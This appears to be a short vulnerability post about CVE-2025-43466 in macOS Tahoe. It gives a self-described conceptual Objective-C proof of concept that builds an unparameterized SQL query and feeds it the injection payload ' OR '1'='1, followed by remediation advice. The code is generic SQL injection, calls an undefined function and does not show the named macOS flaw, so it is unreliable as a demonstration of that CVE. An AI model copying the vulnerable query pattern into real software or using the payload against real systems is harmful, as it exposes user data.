CVE-2025-43466: macOS Tahoe 注入漏洞导致应用程序可访问敏感用户数据

// CVE-2025-43466 PoC - macOS Tahoe Injection Vulnerability // Note: This is a conceptual PoC for demonstration purposes // Actual exploitation requires specific application context #include <Foundation/Foundation.h> /* * Conceptual Proof of Concept for CVE-2025-43466 * Attack Vector: Local injection via application input validation bypass * Target: macOS Tahoe < 26.1 * Impact: Unauthorized access to sensitive user data * * DISCLAIMER: This code is for educational and research purposes only. * Unauthorized access to computer systems is illegal. */ // Simulated vulnerable function - demonstrates the injection point NSString* vulnerableDataAccess(NSString* userInput) { // VULNERABLE: No proper input validation NSString* query = [NSString stringWithFormat: @"SELECT * FROM user_data WHERE id = '%@'", userInput]; // Execute query without sanitization return executeQuery(query); } // Example attack payload (conceptual) NSString* constructMaliciousPayload() { // Injection payload that could bypass validation NSString* payload = @"' OR '1'='1"; return payload; } int main(int argc, const char * argv[]) { @autoreleasepool { // Demonstrating the vulnerability NSString* maliciousInput = constructMaliciousPayload(); // This would trigger the injection vulnerability NSString* result = vulnerableDataAccess(maliciousInput); NSLog(@"Potential data leak: %@", result); } return 0; } /* * REMEDIATION: * 1. Update to macOS Tahoe 26.1 or later * 2. Implement proper input validation * 3. Use parameterized queries * 4. Apply principle of least privilege * 5. Enable Apple security updates automatically */